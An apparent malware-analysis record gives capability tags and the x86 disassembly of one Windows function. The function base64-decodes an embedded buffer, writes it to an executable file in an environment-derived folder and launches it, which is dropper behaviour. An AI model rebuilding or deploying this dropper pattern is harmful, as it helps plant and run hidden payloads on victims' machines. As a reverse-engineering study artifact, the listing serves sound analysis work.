Function at 0x401000
Capabilities:
Create directory
Create process on windows
Create process suspended
Decode data using base64 via winapi
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x29c
push esi
push edi
push 0x208
push 0
lea eax, [ebp - 0x29c]
push eax
call fcn.00402630
add esp, 0xc
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x14], 0
push 0x44
push 0
lea ecx, [ebp - 0x94]
push ecx
call fcn.00402630
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x44], edx
push 0x104
lea eax, [ebp - 0x29c]
push eax
mov ecx, dword [section..data]
push ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 4], str._agugaga
mov edx, dword [ebp - 4]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 4]
mov cx, word [eax]
mov word [ebp - 0x16], cx
add dword [ebp - 4], 2
cmp word [ebp - 0x16], 0
jne 0x401084
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], edx
lea ecx, [ebp - 0x29c]
add ecx, 0xfffffffe
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
mov ax, word [edx + 2]
mov word [ebp - 0x18], ax
add dword [ebp - 0xc], 2
cmp word [ebp - 0x18], 0
jne 0x4010b4
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x34]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 8], str._file.exe
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 8]
mov ax, word [edx]
mov word [ebp - 0x1a], ax
add dword [ebp - 8], 2
cmp word [ebp - 0x1a], 0
jne 0x4010fd
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x3c], ecx
lea eax, [ebp - 0x29c]
add eax, 0xfffffffe
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov dx, word [ecx + 2]
mov word [ebp - 0x1c], dx
add dword [ebp - 0x10], 2
cmp word [ebp - 0x1c], 0
jne 0x40112d
mov edi, dword [ebp - 0x10]
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
push 0
lea ecx, [ebp - 0x14]
push ecx
push 0
push 1
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov ecx, dword [ebp - 0x14]
push ecx
push 8
mov edx, dword [0x4149c8]
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x20], eax
push 0
push 0
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
push 1
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
push 0
push 0
push 2
push 0
push 7
push 0xc0000000
lea ecx, [ebp - 0x29c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x24], eax
push 0
lea edx, [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x94], 0x44
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0x94]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [ebp - 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret